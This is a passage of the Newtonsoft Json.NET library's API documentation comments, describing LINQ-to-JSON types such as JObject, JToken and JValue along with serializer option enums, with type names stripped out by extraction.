. - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads an from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - - - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - - - - - - Creates a from an object. - - The object that will be used to create . - A with the values of the specified object. - - - - Creates a from an object. - - The object that will be used to create . - The that will be used to read the object. - A with the values of the specified object. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets or sets the at the specified index. - - - - - - Determines the index of a specific item in the . - - The object to locate in the . - - The index of if found in the list; otherwise, -1. - - - - - Inserts an item to the at the specified index. - - The zero-based index at which should be inserted. - The object to insert into the . - - is not a valid index in the . - - - - - Removes the item at the specified index. - - The zero-based index of the item to remove. - - is not a valid index in the . - - - - - Returns an enumerator that iterates through the collection. - - - A of that can be used to iterate through the collection. - - - - - Adds an item to the . - - The object to add to the . - - - - Removes all items from the . - - - - - Determines whether the contains a specific value. - - The object to locate in the . - - true if is found in the ; otherwise, false. - - - - - Copies the elements of the to an array, starting at a particular array index. - - The array. - Index of the array. - - - - Gets a value indicating whether the is read-only. - - true if the is read-only; otherwise, false. - - - - Removes the first occurrence of a specific object from the . - - The object to remove from the . - - true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . - - - - - Represents a JSON constructor. - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets or sets the name of this constructor. - - The constructor name. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified name and content. - - The constructor name. - The contents of the constructor. - - - - Initializes a new instance of the class with the specified name and content. - - The constructor name. - The contents of the constructor. - - - - Initializes a new instance of the class with the specified name. - - The constructor name. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified key. - - The with the specified key. - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Represents a token that can contain other tokens. - - - - - Occurs when the list changes or an item in the list changes. - - - - - Occurs before an item is added to the collection. - - - - - Occurs when the items list of the collection has changed, or the collection is reset. - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Raises the event. - - The instance containing the event data. - - - - Raises the event. - - The instance containing the event data. - - - - Raises the event. - - The instance containing the event data. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Get the first child token of this token. - - - A containing the first child token of the . - - - - - Get the last child token of this token. - - - A containing the last child token of the . - - - - - Returns a collection of the child tokens of this token, in document order. - - - An of containing the child tokens of this , in document order. - - - - - Returns a collection of the child values of this token, in document order. - - The type to convert the values to. - - A containing the child values of this , in document order. - - - - - Returns a collection of the descendant tokens for this token in document order. - - An of containing the descendant tokens of the . - - - - Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. - - An of containing this token, and all the descendant tokens of the . - - - - Adds the specified content as children of this . - - The content to be added. - - - - Adds the specified content as the first children of this . - - The content to be added. - - - - Creates a that can be used to add tokens to the . - - A that is ready to have content written to it. - - - - Replaces the child nodes of this token with the specified content. - - The content. - - - - Removes the child nodes from this token. - - - - - Merge the specified content into this . - - The content to be merged. - - - - Merge the specified content into this using . - - The content to be merged. - The used to merge the content. - - - - Gets the count of child JSON tokens. - - The count of child JSON tokens. - - - - Represents a collection of objects. - - The type of token. - - - - An empty collection of objects. - - - - - Initializes a new instance of the struct. - - The enumerable. - - - - Returns an enumerator that can be used to iterate through the collection. - - - A that can be used to iterate through the collection. - - - - - Gets the of with the specified key. - - - - - - Determines whether the specified is equal to this instance. - - The to compare with this instance. - - true if the specified is equal to this instance; otherwise, false. - - - - - Determines whether the specified is equal to this instance. - - The to compare with this instance. - - true if the specified is equal to this instance; otherwise, false. - - - - - Returns a hash code for this instance. - - - A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. - - - - - Represents a JSON object. - - - - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Occurs when a property value changes. - - - - - Occurs when a property value is changing. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified content. - - The contents of the object. - - - - Initializes a new instance of the class with the specified content. - - The contents of the object. - - - - Gets the node type for this . - - The type. - - - - Gets an of of this object's properties. - - An of of this object's properties. - - - - Gets a with the specified name. - - The property name. - A with the specified name or null. - - - - Gets the with the specified name. - The exact name will be searched for first and if no matching property is found then - the will be used to match a property. - - The property name. - One of the enumeration values that specifies how the strings will be compared. - A matched with the specified name or null. - - - - Gets a of of this object's property values. - - A of of this object's property values. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets or sets the with the specified property name. - - - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - is not valid JSON. - - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - is not valid JSON. - - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - is not valid JSON. - - - - - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - is not valid JSON. - - - - - - - - Creates a from an object. - - The object that will be used to create . - A with the values of the specified object. - - - - Creates a from an object. - - The object that will be used to create . - The that will be used to read the object. - A with the values of the specified object. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified property name. - - Name of the property. - The with the specified property name. - - - - Gets the with the specified property name. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - Name of the property. - One of the enumeration values that specifies how the strings will be compared. - The with the specified property name. - - - - Tries to get the with the specified property name. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - Name of the property. - The value. - One of the enumeration values that specifies how the strings will be compared. - true if a value was successfully retrieved; otherwise, false. - - - - Adds the specified property name. - - Name of the property. - The value. - - - - Determines whether the JSON object has the specified property name. - - Name of the property. - true if the JSON object has the specified property name; otherwise, false. - - - - Removes the property with the specified name. - - Name of the property. - true if item was successfully removed; otherwise, false. - - - - Tries to get the with the specified property name. - - Name of the property. - The value. - true if a value was successfully retrieved; otherwise, false. - - - - Returns an enumerator that can be used to iterate through the collection. - - - A that can be used to iterate through the collection. - - - - - Raises the event with the provided arguments. - - Name of the property. - - - - Raises the event with the provided arguments. - - Name of the property. - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Represents a JSON property. - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets the property name. - - The property name. - - - - Gets or sets the property value. - - The property value. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - The property name. - The property content. - - - - Initializes a new instance of the class. - - The property name. - The property content. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Represents a view of a . - - - - - Initializes a new instance of the class. - - The name. - - - - When overridden in a derived class, returns whether resetting an object changes its value. - - - true if resetting the component changes its value; otherwise, false. - - The component to test for reset capability. - - - - When overridden in a derived class, gets the current value of the property on a component. - - - The value of a property for a given component. - - The component with the property for which to retrieve the value. - - - - When overridden in a derived class, resets the value for this property of the component to the default value. - - The component with the property value that is to be reset to the default value. - - - - When overridden in a derived class, sets the value of the component to a different value. - - The component with the property value that is to be set. - The new value. - - - - When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. - - - true if the property should be persisted; otherwise, false. - - The component with the property to be examined for persistence. - - - - When overridden in a derived class, gets the type of the component this property is bound to. - - - A that represents the type of component this property is bound to. - When the or - - methods are invoked, the object specified might be an instance of this type. - - - - - When overridden in a derived class, gets a value indicating whether this property is read-only. - - - true if the property is read-only; otherwise, false. - - - - - When overridden in a derived class, gets the type of the property. - - - A that represents the type of the property. - - - - - Gets the hash code for the name of the member. - - - - The hash code for the name of the member. - - - - - Represents a raw JSON string. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class. - - The raw json. - - - - Creates an instance of with the content of the reader's current token. - - The reader. - An instance of with the content of the reader's current token. - - - - Specifies the settings used when cloning JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets a flag that indicates whether to copy annotations when cloning a . - The default value is true. - - - A flag that indicates whether to copy annotations when cloning a . - - - - - Specifies the settings used when loading JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets how JSON comments are handled when loading JSON. - The default value is . - - The JSON comment handling. - - - - Gets or sets how JSON line info is handled when loading JSON. - The default value is . - - The JSON line info handling. - - - - Gets or sets how duplicate property names in JSON objects are handled when loading JSON. - The default value is . - - The JSON duplicate property name handling. - - - - Specifies the settings used when merging JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the method used when merging JSON arrays. - - The method used when merging JSON arrays. - - - - Gets or sets how null value properties are merged. - - How null value properties are merged. - - - - Gets or sets the comparison used to match property names while merging. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - The comparison used to match property names while merging. - - - - Specifies the settings used when selecting JSON. - - - - - Gets or sets a flag that indicates whether an error should be thrown if - no tokens are found when evaluating part of the expression. - - - A flag that indicates whether an error should be thrown if - no tokens are found when evaluating part of the expression. - - - - - Represents an abstract JSON token. - - - - - Gets a comparer that can compare two tokens for value equality. - - A that can compare two nodes for value equality. - - - - Gets or sets the parent. - - The parent. - - - - Gets the root of this . - - The root of this . - - - - Gets the node type for this . - - The type. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Compares the values of two tokens, including the values of all descendant tokens. - - The first to compare. - The second to compare. - true if the tokens are equal; otherwise false. - - - - Gets the next sibling token of this node. - - The that contains the next sibling token. - - - - Gets the previous sibling token of this node. - - The that contains the previous sibling token. - - - - Gets the path of the JSON token. - - - - - Adds the specified content immediately after this token. - - A content object that contains simple content or a collection of content objects to be added after this token. - - - - Adds the specified content immediately before this token. - - A content object that contains simple content or a collection of content objects to be added before this token. - - - - Returns a collection of the ancestor tokens of this token. - - A collection of the ancestor tokens of this token. - - - - Returns a collection of tokens that contain this token, and the ancestors of this token. - - A collection of tokens that contain this token, and the ancestors of this token. - - - - Returns a collection of the sibling tokens after this token, in document order. - - A collection of the sibling tokens after this tokens, in document order. - - - - Returns a collection of the sibling tokens before this token, in document order. - - A collection of the sibling tokens before this token, in document order. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets the with the specified key converted to the specified type. - - The type to convert the token to. - The token key. - The converted token value. - - - - Get the first child token of this token. - - A containing the first child token of the . - - - - Get the last child token of this token. - - A containing the last child token of the . - - - - Returns a collection of the child tokens of this token, in document order. - - An of containing the child tokens of this , in document order. - - - - Returns a collection of the child tokens of this token, in document order, filtered by the specified type. - - The type to filter the child tokens on. - A containing the child tokens of this , in document order. - - - - Returns a collection of the child values of this token, in document order. - - The type to convert the values to. - A containing the child values of this , in document order. - - - - Removes this token from its parent. - - - - - Replaces this token with the specified token. - - The value. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Returns the indented JSON for this token. - - - ToString() returns a non-JSON string value for tokens with a type of . - If you want the JSON for all token types then you should use . - - - The indented JSON for this token. - - - - - Returns the JSON for this token using the given formatting and converters. - - Indicates how the output should be formatted. - A collection of s which will be used when writing the token. - The JSON for this token using the given formatting and converters. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to []. - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from [] to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Creates a for this token. - - A that can be used to read this token and its descendants. - - - - Creates a from an object. - - The object that will be used to create . - A with the value of the specified object. - - - - Creates a from an object using the specified . - - The object that will be used to create . - The that will be used when reading the object. - A with the value of the specified object. - - - - Creates an instance of the specified .NET type from the . - - The object type that the token will be deserialized to. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the . - - The object type that the token will be deserialized to. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the using the specified . - - The object type that the token will be deserialized to. - The that will be used when creating the object. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the using the specified . - - The object type that the token will be deserialized to. - The that will be used when creating the object. - The new object created from the JSON value. - - - - Creates a from a . - - A positioned at the token to read into this . - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Creates a from a . - - An positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - - - Creates a from a . - - A positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Creates a from a . - - A positioned at the token to read into this . - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - A , or null. - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. - A . - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - The used to select tokens. - A . - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - An of that contains the selected elements. - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. - An of that contains the selected elements. - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - The used to select tokens. - An of that contains the selected elements. - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Creates a new instance of the . All child tokens are recursively cloned. - - A new instance of the . - - - - Creates a new instance of the . All child tokens are recursively cloned. - - A object to configure cloning settings. - A new instance of the . - - - - Adds an object to the annotation list of this . - - The annotation to add. - - - - Get the first annotation object of the specified type from this . - - The type of the annotation to retrieve. - The first annotation object that matches the specified type, or null if no annotation is of the specified type. - - - - Gets the first annotation object of the specified type from this . - - The of the annotation to retrieve. - The first annotation object that matches the specified type, or null if no annotation is of the specified type. - - - - Gets a collection of annotations of the specified type for this . - - The type of the annotations to retrieve. - An that contains the annotations for this . - - - - Gets a collection of annotations of the specified type for this . - - The of the annotations to retrieve. - An of that contains the annotations that match the specified type for this . - - - - Removes the annotations of the specified type from this . - - The type of annotations to remove. - - - - Removes the annotations of the specified type from this . - - The of annotations to remove. - - - - Compares tokens to determine whether they are equal. - - - - - Determines whether the specified objects are equal. - - The first object of type to compare. - The second object of type to compare. - - true if the specified objects are equal; otherwise, false. - - - - - Returns a hash code for the specified object. - - The for which a hash code is to be returned. - A hash code for the specified object. - The type of is a reference type and is null. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. - - - - - Gets the at the reader's current position. - - - - - Initializes a new instance of the class. - - The token to read from. - - - - Initializes a new instance of the class. - - The token to read from. - The initial path of the token. It is prepended to the returned . - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Gets the path of the current JSON token. - - - - - Specifies the type of token. - - - - - No token type has been set. - - - - - A JSON object. - - - - - A JSON array. - - - - - A JSON constructor. - - - - - A JSON object property. - - - - - A comment. - - - - - An integer value. - - - - - A float value. - - - - - A string value. - - - - - A boolean value. - - - - - A null value. - - - - - An undefined value. - - - - - A date value. - - - - - A raw JSON value. - - - - - A collection of bytes value. - - - - - A Guid value. - - - - - A Uri value. - - - - - A TimeSpan value. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Gets the at the writer's current position. - - - - - Gets the token being written. - - The token being written. - - - - Initializes a new instance of the class writing to the given . - - The container being written to. - - - - Initializes a new instance of the class. - - - - - Flushes whatever is in the buffer to the underlying . - - - - - Closes this writer. - If is set to true, the JSON is auto-completed. - - - Setting to true has no additional effect, since the underlying is a type that cannot be closed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the end. - - The token. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Writes a value. - An error will be raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Represents a value in JSON (string, integer, date, etc). - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Creates a comment with the given value. - - The value. - A comment with the given value. - - - - Creates a string with the given value. - - The value. - A string with the given value. - - - - Creates a null value. - - A null value. - - - - Creates a undefined value. - - A undefined value. - - - - Gets the node type for this . - - The type. - - - - Gets or sets the underlying token value. - - The underlying token value. - - - - Writes this token to a . - - A into which this method will write. - A collection of s which will be used when writing the token. - - - - Indicates whether the current object is equal to another object of the same type. - - - true if the current object is equal to the parameter; otherwise, false. - - An object to compare with this object. - - - - Determines whether the specified is equal to the current . - - The to compare with the current . - - true if the specified is equal to the current ; otherwise, false. - - - - - Serves as a hash function for a particular type. - - - A hash code for the current . - - - - - Returns a that represents this instance. - - - ToString() returns a non-JSON string value for tokens with a type of . - If you want the JSON for all token types then you should use . - - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format. - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format provider. - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format. - The format provider. - - A that represents this instance. - - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. - - An object to compare with this instance. - - A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: - Value - Meaning - Less than zero - This instance is less than . - Zero - This instance is equal to . - Greater than zero - This instance is greater than . - - - is not of the same type as this instance. - - - - - Specifies how line information is handled when loading JSON. - - - - - Ignore line information. - - - - - Load line information. - - - - - Specifies how JSON arrays are merged together. - - - - Concatenate arrays. - - - Union arrays, skipping items that already exist. - - - Replace all array items. - - - Merge array items together, matched by index. - - - - Specifies how null value properties are merged. - - - - - The content's null value properties will be ignored during merging. - - - - - The content's null value properties will be merged. - - - - - Specifies the member serialization options for the . - - - - - All public members are serialized by default. Members can be excluded using or . - This is the default member serialization mode. - - - - - Only members marked with or are serialized. - This member serialization mode can also be set by marking the class with . - - - - - All public and private fields are serialized. Members can be excluded using or . - This member serialization mode can also be set by marking the class with - and setting IgnoreSerializableAttribute on to false. - - - - - Specifies metadata property handling options for the . - - - - - Read metadata properties located at the start of a JSON object. - - - - - Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. - - - - - Do not try to read metadata properties. - - - - - Specifies missing member handling options for the . - - - - - Ignore a missing member and do not attempt to deserialize it. - - - - - Throw a when a missing member is encountered during deserialization. - - - - - Specifies null value handling options for the . - - - - - - - - - Include null values when serializing and deserializing objects. - - - - - Ignore null values when serializing and deserializing objects. - - - - - Specifies how object creation is handled by the . - - - - - Reuse existing objects, create new objects when needed. - - - - - Only reuse existing objects. - - - - - Always create new objects. - - - - - Specifies reference handling options for the . - Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . - - - - - - - - Do not preserve references when serializing types. - - - - - Preserve references when serializing into a JSON object structure. - - - - - Preserve references when serializing into a JSON array structure. - - - - - Preserve references when serializing. - - - - - Specifies reference loop handling options for the . - - - - - Throw a when a loop is encountered. - - - - - Ignore loop references and do not serialize. - - - - - Serialize loop references. - - - - - Indicating whether a property is required. - - - - - The property is not required. The default state. - - - - - The property must be defined in JSON but can be a null value. - - - - - The property must be defined in JSON and cannot be a null value. - - - - - The property is not required but it cannot be a null value. - - - - - - Contains the JSON schema extension methods. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - - Determines whether the is valid. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - - true if the specified is valid; otherwise, false. - - - - - - Determines whether the is valid. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - When this method returns, contains any error messages generated while validating. - - true if the specified is valid; otherwise, false. - - - - - - Validates the specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - - - - - Validates the specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - The validation event handler. - - - - - An in-memory representation of a JSON Schema. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets the id. - - - - - Gets or sets the title. - - - - - Gets or sets whether the object is required. - - - - - Gets or sets whether the object is read-only. - - - - - Gets or sets whether the object is visible to users. - - - - - Gets or sets whether the object is transient. - - - - - Gets or sets the description of the object. - - - - - Gets or sets the types of values allowed by the object. - - The type. - - - - Gets or sets the pattern. - - The pattern. - - - - Gets or sets the minimum length. - - The minimum length. - - - - Gets or sets the maximum length. - - The maximum length. - - - - Gets or sets a number that the value should be divisible by. - - A number that the value should be divisible by. - - - - Gets or sets the minimum. - - The minimum. - - - - Gets or sets the maximum. - - The maximum. - - - - Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). - - A flag indicating whether the value can not equal the number defined by the minimum attribute (). - - - - Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). - - A flag indicating whether the value can not equal the number defined by the maximum attribute (). - - - - Gets or sets the minimum number of items. - - The minimum number of items. - - - - Gets or sets the maximum number of items. - - The maximum number of items. - - - - Gets or sets the of items. - - The of items. - - - - Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . - - - true if items are validated using their array position; otherwise, false. - - - - - Gets or sets the of additional items. - - The of additional items. - - - - Gets or sets a value indicating whether additional items are allowed. - - - true if additional items are allowed; otherwise, false. - - - - - Gets or sets whether the array items must be unique. - - - - - Gets or sets the of properties. - - The of properties. - - - - Gets or sets the of additional properties. - - The of additional properties. - - - - Gets or sets the pattern properties. - - The pattern properties. - - - - Gets or sets a value indicating whether additional properties are allowed. - - - true if additional properties are allowed; otherwise, false. - - - - - Gets or sets the required property if this property is present. - - The required property if this property is present. - - - - Gets or sets the a collection of valid enum values allowed. - - A collection of valid enum values allowed. - - - - Gets or sets disallowed types. - - The disallowed types. - - - - Gets or sets the default value. - - The default value. - - - - Gets or sets the collection of that this 